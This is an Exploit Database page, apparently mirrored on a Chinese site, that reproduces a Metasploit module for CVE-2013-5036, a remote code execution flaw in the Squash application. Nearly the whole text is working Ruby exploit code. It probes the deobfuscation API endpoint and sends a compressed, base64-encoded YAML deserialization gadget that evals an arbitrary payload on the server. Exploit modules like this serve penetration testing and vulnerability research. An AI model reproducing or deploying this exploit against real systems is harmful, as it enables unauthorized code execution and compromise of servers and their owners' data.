Squash – YAML Code Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2013-08-12
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/27530/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Squash YAML Code Execution',
  'Description'=> %q{
  This module exploits a remote code execution vulnerability in the
  YAML request processor of the Squash application.
  },
  'Author' =>
  [
  'Charlie Eriksen' # Discovery, initial exploit
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
  [ 'OSVDB', '95992'],
  [ 'CVE', '2013-5036']
  ],
  'Platform' => 'ruby',
  'Arch' => ARCH_RUBY,
  'Privileged' => false,
  'Targets'=>[ ['Automatic', {} ] ],
  'DisclosureDate' => 'Aug 06 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
  ], self.class)
  
  end
  
  def check
  response = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
  'method'=> 'POST',
  'ctype' => 'application/json',
  })
  
  if response.code == 422
  print_status("Got HTTP 422 result, target may be vulnerable")
  return Exploit::CheckCode::Appears
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  code = Rex::Text.encode_base64(payload.encoded)
  yaml ="--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
  "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
  ": !ruby/object:OpenStruct\n table:\n:defaults: {}\n"
  payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
  data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
  
  send_request_cgi({
  'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
  'method'=> 'POST',
  'ctype' => 'application/json',
  'data'=> data
  })
  end
  end